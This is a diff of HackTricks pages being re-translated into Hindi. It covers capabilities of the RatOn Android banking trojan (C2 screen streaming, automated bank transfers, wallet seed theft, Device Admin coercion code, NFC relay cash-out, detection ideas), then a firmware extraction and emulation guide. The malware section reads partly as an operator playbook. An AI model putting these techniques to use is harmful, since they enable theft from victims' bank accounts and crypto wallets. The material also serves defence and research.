संभावित उपयोग: coercion (PIN entry), wallet खोलकर PIN कैप्चर करना, ransom संदेश भेजना। यदि ओवरले अनुमति मौजूद नहीं है तो उसे सुनिश्चित करने के लिए एक कमांड रखें।
संभावित उपयोग: जबरदस्ती (PIN entry), वॉलेट खोलकर PIN कैप्चर करना, ransom संदेश भेजना। यदि अनुमति नहीं है तो overlay permission दिए जाने को सुनिश्चित करने के लिए एक command रखें।
### Remote control model text pseudo-screen + screen-cast
- कम-बैंडविड्थ: Accessibility node tree को आवधिक रूप से dump करें, दिखाई देने वाले texts/roles/bounds को serialize करें और उन्हें pseudo-screen के रूप में C2 पर भेजें (commands like `txt_screen` once and `screen_live` continuous)।
- उच्च-निष्ठा: MediaProjection का अनुरोध करें और मांग पर screen-casting/recording शुरू करें (commands like `display` / `record`)।
- कम-बैंडविड्थ: नियमित अंतराल पर Accessibility node tree को dump करें, दृश्य texts/roles/bounds को serialize करें और pseudo-screen के रूप में C2 पर भेजें (commands like `txt_screen` एक बार और `screen_live` लगातार)।
- हाई-फिडेलिटी: MediaProjection का अनुरोध करें और मांग पर screen-casting/recording शुरू करें (commands like `display` / `record`)।
### ATS playbook (bank app automation)
एक JSON task दिए जाने पर, बैंक ऐप खोलें, Accessibility के जरिए UI को text queries और coordinate taps के मिश्रण से नियंत्रित करें, और संकेत मिलने पर पीड़ित का payment PIN दर्ज करें।
### ATS playbook (बैंक ऐप ऑटोमेशन)
एक JSON task दिए जाने पर, बैंक ऐप खोलें, Accessibility के माध्यम से UI को text queries और coordinate taps के मिश्रण से नियंत्रित करें, और जब पूछा जाए तो पीड़ित का payment PIN दर्ज करें।
Example task:
उदाहरण task:
```json
{
"cmd": "transfer",
@ -292,7 +333,7 @@ Example task:
"name": "ACME"
}
```
Example texts seen in one target flow (CZ → EN):
एक लक्षित फ़्लो में देखे गए उदाहरण टेक्स्ट (CZ → EN):
- "Nová platba" → "नया भुगतान"
- "Zadat platbu" → "भुगतान दर्ज करें"
- "Nový příjemce" → "नया प्राप्तकर्ता"
@ -303,32 +344,32 @@ Example texts seen in one target flow (CZ → EN):
- "Zaplatit" → "भुगतान करें"
- "Hotovo" → "हो गया"
ऑपरेटर्स `check_limit` और `limit` जैसे कमांड के माध्यम से ट्रांसफर सीमाएँ भी चेक/बढ़ा सकते हैं, जो limits UI में समान रूप से नेविगेट करते हैं।
ऑपरेटर `check_limit` और `limit` जैसे कमांड्स के जरिए transfer limits की जाँच/बढ़ोतरी भी कर सकते हैं, जो limits UI के माध्यम से समान रूप से नेविगेट करते हैं।
### Crypto wallet seed extraction
Targets जैसे MetaMask, Trust Wallet, Blockchain.com, Phantom। Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it। नेविगेशन को विभिन्न भाषाओं में स्थिर करने के लिए locale-aware selectors (EN/RU/CZ/SK) लागू करें।
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
### Device Admin coercion
Device Admin APIs का उपयोग PIN-capture के अवसर बढ़ाने और पीड़ित को परेशान करने के लिए किया जाता है:
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
- तत्काल लॉक:
- तुरंत लॉक:
```java
dpm.lockNow();
```
- वर्तमान credential की अवधि समाप्त करें ताकि बदलने के लिए बाध्य किया जा सके (Accessibility नए PIN/password को कैप्चर करता है):
- वर्तमान क्रेडेंशियल की वैधता समाप्त करें ताकि परिवर्तन अनिवार्य हो (Accessibility नए PIN/password को कैप्चर करता है):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- keyguard बायोमेट्रिक सुविधाओं को अक्षम करके गैर-बायोमेट्रिक अनलॉक को मजबूर करें:
- keyguard biometric features को अक्षम करके non-biometric unlock को मजबूर करें:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
Note: कई DevicePolicyManager controls हाल के Android पर Device Owner/Profile Owner की आवश्यकता करते हैं; कुछ OEM builds ढीले हो सकते हैं। हमेशा target OS/OEM पर सत्यापित करें।
### NFC रिले समन्वय (NFSkate)
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
### NFC relay orchestration (NFSkate)
Stage-3 एक external NFC-relay module (उदा., NFSkate) install और launch कर सकता है और relay के दौरान पीड़ित का मार्गदर्शन करने के लिए इसे एक HTML template भी दे सकता है। यह online ATS के साथ-साथ contactless card-present cash-out सक्षम करता है।
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
@ -343,14 +384,14 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- NFC: `nfs`, `nfs_inject`
### Detection & defence ideas (RatOn-style)
- WebViews में `addJavascriptInterface()` वाले पेजों की तलाश करें जो installer/permission methods को एक्सपोज़ करते हैं; ऐसे पेज जो “/access” पर समाप्त होते हैं और Accessibility prompts ट्रिगर करते हैं।
- उन ऐप्स पर अलर्ट करें जो service access दिए जाने के तुरंत बाद high-rate Accessibility gestures/clicks जनरेट करते हैं; telemetry जो Accessibility node dumps जैसी दिखती है और C2 को भेजी जाती है।
- अनट्रस्टेड ऐप्स में Device Admin policy बदलावों की निगरानी करें: `lockNow`, password expiration, keyguard feature toggles।
- non-corporate apps से MediaProjection prompts पर और उसके बाद periodic frame uploads पर अलर्ट करें।
- किसी ऐप द्वारा ट्रिगर किए गए external NFC-relay app की installation/launch का पता लगाएं।
- बैंकिंग के लिए: out-of-band confirmations, biometrics-binding, और on-device automation के प्रति resistant transaction-limits लागू करें।
- ऐसे WebViews की तलाश करें जिनमें `addJavascriptInterface()` मौजूद हो जो installer/permission methods को एक्सपोज़ करता हो; ऐसे पेज जो “/access” पर खत्म होते हैं और Accessibility prompts को ट्रिगर करते हैं।
- उन ऐप्स पर अलर्ट करें जो service access मिलने के तुरंत बाद उच्च-दर की Accessibility gestures/clicks जनरेट करते हैं; ऐसी telemetry जो Accessibility node dumps जैसी दिखती है और C2 पर भेजी जाती है।
- untrusted apps में Device Admin नीति परिवर्तनों की निगरानी करें: `lockNow`, password expiration, keyguard feature toggles।
- non-corporate apps से आने वाले MediaProjection prompts पर अलर्ट करें, खासकर जब उसके बाद periodic frame uploads हों।
- किसी अन्य ऐप द्वारा trigger किए जाने पर external NFC-relay app के installation/launch का पता लगाएं।
- बैंकिंग के लिए: out-of-band confirmations, biometrics-binding, और ऐसे transaction-limits लागू करें जो on-device automation के प्रति प्रतिरोधी हों।
## संदर्भ
## References
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban Android image compression library](https://github.com/Curzibn/Luban)
@ -358,5 +399,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
# Firmware Analysis
# फ़र्मवेयर विश्लेषण
{{#include ../../banners/hacktricks-training.md}}
## **Introduction**
## **परिचय**
### संबंधित संसाधन
@ -11,43 +11,47 @@
synology-encrypted-archive-decryption.md
{{#endref}}
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
Firmware एक आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से कार्य करने में सक्षम बनाता है, हार्डवेयर घटकों और उस सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है, जिससे उपयोगकर्ता इंटरैक्ट करते हैं। यह स्थायी मेमोरी में संग्रहीत होता है, यह सुनिश्चित करते हुए कि उपकरण को चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुंच मिल सके, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जाता है। Firmware का परीक्षण और संभावित रूप से संशोधन करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है।
## **जानकारी इकट्ठा करना**
फ़र्मवेयर एक आवश्यक सॉफ्टवेयर है जो डिवाइस को सही ढंग से काम करने में सक्षम बनाता है, हार्डवेयर घटकों और उपयोगकर्ता द्वारा इंटरैक्ट किए जाने वाले सॉफ्टवेयर के बीच संचार को प्रबंधित और सुगम बनाकर। यह स्थायी मेमोरी में संग्रहीत होता है, जिससे डिवाइस पावर ऑन होते ही आवश्यक निर्देशों तक पहुँच पाता है और ऑपरेटिंग सिस्टम लॉन्च हो जाता है। फ़र्मवेयर की जाँच और संभावित रूप से संशोधन करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है।
**जानकारी इकट्ठा करना** एक उपकरण की संरचना और इसके द्वारा उपयोग की जाने वाली तकनीकों को समझने में एक महत्वपूर्ण प्रारंभिक कदम है। इस प्रक्रिया में निम्नलिखित डेटा एकत्र करना शामिल है:
## **जानकारी एकत्र करना**
**जानकारी एकत्र करना** किसी डिवाइस की संरचना और वह किन तकनीकों का उपयोग करता है यह समझने का एक महत्वपूर्ण आरंभिक चरण है। इस प्रक्रिया में निम्नलिखित चीजों का संग्रह शामिल होता है:
- CPU आर्किटेक्चर और जिस ऑपरेटिंग सिस्टम पर यह चलता है
- बूटलोडर की विशिष्टताएँ
- हार्डवेयर लेआउट और डेटा शीट
- कोडबेस मैट्रिक्स और स्रोत स्थान
- बाहरी पुस्तकालय और लाइसेंस प्रकार
- अपडेट इतिहास और नियामक प्रमाण
- आर्किटेक्चरल और फ्लो डायग्राम
- Bootloader के विवरण
- हार्डवेयर लेआउट और डेटा शीट्स
- Codebase के मेट्रिक्स और स्रोत स्थान
- बाहरी लाइब्रेरी और लाइसेंस प्रकार
- अपडेट इतिहास और नियामक प्रमाणपत्र
- वास्तुशिल्प और फ्लो डायग्राम
- सुरक्षा आकलन और पहचानी गई कमजोरियाँ
इस उद्देश्य के लिए, **ओपन-सोर्स इंटेलिजेंस (OSINT)** उपकरण अमूल्य हैं, जैसे कि उपलब्ध ओपन-सोर्स सॉफ़्टवेयर घटकों का मैनुअल और स्वचालित समीक्षा प्रक्रियाओं के माध्यम से विश्लेषण। [Coverity Scan](https://scan.coverity.com) और [Semmles LGTM](https://lgtm.com/#explore) जैसे उपकरण मुफ्त स्थैतिक विश्लेषण प्रदान करते हैं, जिसका उपयोग संभावित मुद्दों को खोजने के लिए किया जा सकता है।
इस उद्देश्य के लिए, **open-source intelligence (OSINT)** टूल अमूल्य हैं, और किसी भी उपलब्ध ओपन-सोर्स सॉफ़्टवेयर कंपनेट्स का मैन्युअल और स्वचालित समीक्षा प्रक्रियाओं के माध्यम से विश्लेषण भी उतना ही महत्वपूर्ण है टूल्स जैसे [Coverity Scan](https://scan.coverity.com) और [Semmles LGTM](https://lgtm.com/#explore) मुफ्त स्थैतिक विश्लेषण प्रदान करते हैं जिन्हें संभावित समस्याएँ खोजने के लिए उपयोग किया जा सकता है।
## **Firmware प्राप्त करना**
## **फ़र्मवेयर प्राप्त करना**
Firmware प्राप्त करने के लिए विभिन्न तरीकों का उपयोग किया जा सकता है, प्रत्येक की अपनी जटिलता का स्तर है:
फ़र्मवेयर प्राप्त करने के कई तरीके हैं, जिनमें से प्रत्येक की अपनी जटिलता होती है:
- **प्रत्यक्ष रूप से** स्रोत से (डेवलपर्स, निर्माताओं)
- **निर्देशों** से इसे **बनाना**
- आधिकारिक समर्थन साइटों से **डाउनलोड करना**
- होस्ट किए गए firmware फ़ाइलों को खोजने के लिए **Google dork** क्वेरी का उपयोग करना
- [S3Scanner](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों के साथ **क्लाउड स्टोरेज** तक सीधे पहुंचना
- मैन-इन-द-मिडिल तकनीकों के माध्यम से **अपडेट** को इंटरसेप्ट करना
- **UART**, **JTAG**, या **PICit** जैसे कनेक्शनों के माध्यम से उपकरण से **निकालना**
- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **स्निफ़िंग**
- **हार्डकोडेड अपडेट एंडपॉइंट्स** की पहचान और उपयोग करना
- बूटलोडर या नेटवर्क से **डंपिंग**
- जब सब कुछ विफल हो जाए, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **हटाना और पढ़ना**
- **ीधे** स्रोत से (डेवलपर्स, निर्माता)
- **निर्देशों से बनाना** (provided instructions से)
- **आधिकारिक सपोर्ट साइटों से डाउनलोड करना**
- होस्ट किए गए फ़र्मवेयर फ़ाइलें ढूँढने के लिए **Google dork** क्वेरी का उपयोग करना
- सीधे **cloud storage** तक पहुँच, जैसे टूल [S3Scanner](https://github.com/sa7mon/S3Scanner) का उपयोग करना
- man-in-the-middle techniques के माध्यम से **updates** को इंटरसेप्ट करना
- डिवाइस से **UART**, **JTAG**, या **PICit** जैसे कनेक्शनों के माध्यम से **Extracting**
- डिवाइस कम्युनिकेशन में update requests के लिए **Sniffing**
- **hardcoded update endpoints** की पहचान करना और उनका उपयोग करना
- Bootloader या network से **Dumping**
- जब बाकी सब विफल हो तो उपयुक्त हार्डवेयर टूल्स का उपयोग करके स्टोरेज चिप को निकालना और पढ़ना
## Firmware का विश्लेषण करना
## फ़र्मवेयर का विश्लेषण
अब जब आपके पास **firmware है**, तो आपको इसके बारे में जानकारी निकालने की आवश्यकता है ताकि आप जान सकें कि इसे कैसे संभालना है। इसके लिए आप विभिन्न उपकरणों का उपयोग कर सकते हैं:
अब जब आपके पास **फ़र्मवेयर है**, तो आपको यह जानने के लिए इसके बारे में जानकारी निकालनी होगी कि इसे कैसे हैंडल करना है। इसके लिए आप निम्नलिखित विभिन्न टूल्स का उपयोग कर सकते हैं:
```bash
file <bin>
strings -n8 <bin>
@ -56,24 +60,24 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड (या किसी तरह से संकुचित) है।
यदि आपको उन tools से ज्यादा कुछ नहीं मिलता है तो इमेज का **entropy** `binwalk -E <bin>` से चेक करें — अगर entropy low है तो यह संभवतः encrypted नहीं है। अगर entropy high है, तो यह संभाविततः encrypted (या किसी तरह compressed) है।
इसके अलावा, आप इन उपकरणों का उपयोग **फर्मवेयर के अंदर एम्बेडेड फ़ाइलों** को निकालने के लिए कर सकते हैं:
इसके अलावा, आप इन tools का उपयोग **files embedded inside the firmware** को extract करने के लिए कर सकते हैं:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
या [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) का उपयोग करके फ़ाइल का निरीक्षण करें।
या [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) का उपयोग फ़ाइल को inspect करने के लिए करें।
### फ़ाइल सिस्टम प्राप्त करना
### Filesystem प्राप्त करना
िछले टिप्पणी किए गए उपकरणों जैसे `binwalk -ev <bin>` के साथ, आपको **फाइल सिस्टम निकालने में सक्षम होना चाहिए**\
Binwalk आमतौर पर इसे **फाइल सिस्टम प्रकार के नाम वाले फ़ोल्डर** के अंदर निकालता है, जो आमतौर पर निम्नलिखित में से एक होता है: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
हले बताए गए tools जैसे `binwalk -ev <bin>` से आप **extract the filesystem** कर पाने चाहिए थे.\
Binwalk आमतौर पर इसे उस **folder named as the filesystem type** के अंदर extract कर देता है, जो आमतौर पर निम्न में से एक होता है: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### मैनुअल फ़ाइल सिस्टम निष्कर्षण
#### Manual Filesystem Extraction
कभी-कभी, binwalk के पास **फाइल सिस्टम के जादुई बाइट्स इसके सिग्नेचर में नहीं होते हैं**। इन मामलों में, binwalk का उपयोग करें **फाइल सिस्टम के ऑफसेट को खोजने और बाइनरी से संकुचित फाइल सिस्टम को काटने** के लिए और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**
कभी-कभी, binwalk के पास **not have the magic byte of the filesystem in its signatures**. ऐसे मामलों में, binwalk का उपयोग करके **find the offset of the filesystem and carve the compressed filesystem** को binary से निकालें और नीचे दिए गए steps का उपयोग करके उसके प्रकार के अनुसार **manually extract** करें
```
$ binwalk DIR850L_REVB.bin
@ -85,7 +89,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
निम्नलिखित **dd कमांड** चलाएँ जो Squashfs फ़ाइल प्रणाली को काटता है
Squashfs filesystem को carve करने के लिए नीचे दिया गया **dd command** चलाएँ
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -99,21 +103,21 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- squashfs (उदाहरण में उपयोग किया गया)
- For squashfs (उपरोक्त उदाहरण में उपयोग किया गया)
`$ unsquashfs dir.squashfs`
फाइलें "`squashfs-root`" निर्देशिका में बाद में होंगी।
फाइलें बाद में `squashfs-root` डायरेक्टरी में होंगी।
- CPIO आर्काइव फाइलें
- CPIO archive फ़ाइलें
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- jffs2 फाइल सिस्टम के लिए
- jffs2 filesystems के लिए
`$ jefferson rootfsfile.jffs2`
- NAND फ्लैश के साथ ubifs फाइल सिस्टम के लिए
- NAND flash वाले ubifs filesystems के लिए
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -121,11 +125,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## फर्मवेयर का विश्लेषण
एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर इमेज से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है।
जब फर्मवेयर प्राप्त हो जाए, तो इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर इमेज से मूल्यवान डेटा निकालने और जांचने के लिए विभिन्न टूल्स का उपयोग होता है।
### प्रारंभिक विश्लेषण उपकरण
बाइनरी फ़ाइल (जिसे `<bin>` कहा जाता है) के प्रारंभिक निरीक्षण के लिए एक सेट कमांड प्रदान किया गया है। ये कमांड फ़ाइल प्रकारों की पहचान करने, स्ट्रिंग्स निकालने, बाइनरी डेटा का विश्लेषण करने और विभाजन और फ़ाइल सिस्टम विवरण को समझने में मदद करते हैं:
बाइनरी फ़ाइल (जिसे `<bin>` कहा गया है) की प्रारंभिक जाँच के लिए कुछ कमांड दिए गए हैं। ये कमांड फ़ाइल प्रकार पहचानने, strings निकालने, बाइनरी डेटा का विश्लेषण करने, और partition व filesystem विवरण समझने में मदद करते हैं:
```bash
file <bin>
strings -n8 <bin>
@ -134,149 +138,149 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
इमेज के एन्क्रिप्शन स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E <bin>` के साथ चेक किया जाता है। कम एंट्रॉपी एन्क्रिप्शन की कमी का सुझाव देती है, जबकि उच्च एंट्रॉपी संभावित एन्क्रिप्शन या संकुचन को इंगित करती है।
इमेज की encryption स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E <bin>` के साथ चेक किया जाता है। कम entropy यह संकेत देता है कि encryption मौजूद नहीं है, जबकि उच्च entropy संभवतः encryption या compression का संकेत देता है।
**Embedded files** को निकालने के लिए, **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** जैसे उपकरणों और संसाधनों की सिफारिश की जाती है
एंबेडेड फ़ाइलें निकालने के लिए, उपकरण और संसाधन जैसे **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** सुझाए जाते हैं
### फ़ाइल सिस्टम निकालना
`binwalk -ev <bin>` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर एक निर्देशिका में जिसका नाम फ़ाइल सिस्टम प्रकार (जैसे, squashfs, ubifs) के नाम पर होता है। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को निकालने के लिए `dd` कमांड का उपयोग किया जाता है:
`binwalk -ev <bin>` का उपयोग करके, सामान्यतः फ़ाइल सिस्टम निकाला जा सकता है, अक्सर फ़ाइल सिस्टम प्रकार के नाम वाली एक डायरेक्टरी में (e.g., squashfs, ubifs)। हालाँकि, जब **binwalk** magic bytes के गायब होने के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल होता है, तो मैनुअल extraction आवश्यक होता है। इसमें `binwalk` का उपयोग करके फ़ाइल सिस्टम का offset ढूँढना शामिल है, उसके बाद `dd` कमांड का उपयोग करके फ़ाइल सिस्टम को carve out करना:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
उसके बाद, फ़ाइल सिस्टम प्रकार (जैसे, squashfs, cpio, jffs2, ubifs) के आधार पर, सामग्री को मैन्युअल रूप से निकालने के लिए विभिन्न कमांड का उपयोग किया जाता है।
उसके बाद, फाइलसिस्टम के प्रकार (उदा., squashfs, cpio, jffs2, ubifs) के आधार पर, सामग्री को मैन्युअली निकालने के लिए अलग-अलग कमांड्स का उपयोग किया जाता है।
### फ़ाइल सिस्टम विश्लेषण
### Filesystem Analysis
फ़ाइल सिस्टम निकालने के बाद, सुरक्षा खामियों की खोज शुरू होती है। असुरक्षित नेटवर्क डेमन्स, हार्डकोडेड क्रेडेंशियल्स, API एंडपॉइंट्स, अपडेट सर्वर कार्यक्षमताएँ, अनकंपाइल कोड, स्टार्टअप स्क्रिप्ट, और ऑफ़लाइन विश्लेषण के लिए संकलित बाइनरीज़ पर ध्यान दिया जाता है।
Filesystem निकालने के बाद security flaws की तलाश शुरू होती है। ध्यान insecure network daemons, hardcoded credentials, API endpoints, update server functionalities, uncompiled code, startup scripts, और compiled binaries पर ऑफ़लाइन विश्लेषण के लिए दिया जाता है।
**मुख्य स्थान** और **आइटम** जिनकी जांच करनी है, उनमें शामिल हैं:
**Key locations** और **items** जिन्हें निरीक्षण करना चाहिए, में शामिल हैं:
- **etc/shadow** और **etc/passwd** उपयोगकर्ता क्रेडेंशियल्स के लिए
- **etc/ssl** में SSL प्रमाणपत्र और कुंजी
- **etc/shadow** और **etc/passwd** उपयोगकर्ता क्रेडेंशियल्स के लिए
- SSL certificates और keys in **etc/ssl**
- संभावित कमजोरियों के लिए कॉन्फ़िगरेशन और स्क्रिप्ट फ़ाइलें
- आगे के विश्लेषण के लिए एम्बेडेड बाइनरीज़
- सामान्य IoT डिवाइस वेब सर्वर और बाइनरीज़
- आगे के विश्लेषण के लिए embedded binaries
- सामान्य IoT device वेब सर्वर और बाइनरीज़
ई उपकरण फ़ाइल सिस्टम के भीतर संवेदनशील जानकारी और कमजोरियों को उजागर करने में मदद करते हैं:
ुछ टूल्स filesystem के भीतर संवेदनशील जानकारी और कमजोरियाँ खोजने में मदद करते हैं:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) और [**Firmwalker**](https://github.com/craigz28/firmwalker) संवेदनशील जानकारी खोजने के लिए
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) व्यापक फर्मवेयर विश्लेषण के लिए
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थिर और गतिशील विश्लेषण के लिए
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) विस्तृत firmware विश्लेषण के लिए
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थैतिक और गतिशील विश्लेषण के लिए
### संकलित बाइनरीज़ पर सुरक्षा जांच
### Security Checks on Compiled Binaries
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच करनी चाहिए। **checksec.sh** जैसे उपकरण Unix बाइनरीज़ के लिए और **PESecurity** Windows बाइनरीज़ के लिए उन असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं जिन्हें शोषित किया जा सकता है।
Filesystem में पाए गए source code और compiled binaries दोनों को कमजोरियों के लिए गहराई से जाँचना चाहिए। Tools जैसे **checksec.sh** (Unix binaries के लिए) और **PESecurity** (Windows binaries के लिए) अनप्रोटेक्टेड बाइनरीज़ की पहचान करने में मदद करते हैं जिन्हें exploit किया जा सकता है।
## गतिशील विश्लेषण के लिए फर्मवेयर का अनुकरण
## Emulating Firmware for Dynamic Analysis
फर्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को एक डिवाइस के संचालन या एक व्यक्तिगत प्रोग्राम के लिए सक्षम बनाती है। यह दृष्टिकोण हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियों का सामना कर सकता है, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलते-जुलते आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि एक Raspberry Pi, या एक पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
Firmware को emulate करने की प्रक्रिया डिवाइस के संचालन या किसी एक प्रोग्राम के लिए **dynamic analysis** की अनुमति देती है। यह तरीका hardware या architecture निर्भरताओं के साथ चुनौतियों का सामना कर सकता है, लेकिन root filesystem या विशिष्ट बाइनरीज़ को ऐसे डिवाइस पर ट्रांसफर करना जिनका architecture और endianness मेल खाता हो, जैसे Raspberry Pi, या एक pre-built virtual machine पर, आगे के परीक्षण को सुविधाजनक बना सकता है।
### व्यक्तिगत बाइनरीज़ का अनुकरण
### Emulating Individual Binaries
एकल प्रोग्राम की जांच के लिए, प्रोग्राम की एंडियननेस और CPU आर्किटेक्चर की पहचान करना महत्वपूर्ण है।
एकल प्रोग्रामों की जाँच के लिए, प्रोग्राम की endianness और CPU architecture की पहचान करना महत्वपूर्ण है।
#### MIPS आर्किटेक्चर के साथ उदाहरण
#### Example with MIPS Architecture
MIPS आर्किटेक्चर बाइनरी का अनुकरण करने के लिए, कोई निम्नलिखित कमांड का उपयोग कर सकता है:
MIPS architecture बाइनरी को emulate करने के लिए, निम्न कमांड का इस्तेमाल किया जा सकता है:
```bash
file ./squashfs-root/bin/busybox
```
और आवश्यक अनुकरण उपकरण स्थापित करने के लिए:
और आवश्यक emulation tools इंस्टॉल करने के लिए:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
MIPS (big-endian) के लिए, `qemu-mips` का उपयोग किया जाता है, और little-endian बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
#### ARM आर्किटेक्चर अनुकरण
#### ARM Architecture Emulation
ARM बाइनरी के लिए, प्रक्रिया समान है, जिसमें अनुकरण के लिए `qemu-arm` अनुकरणकर्ता का उपयोग किया जाता है।
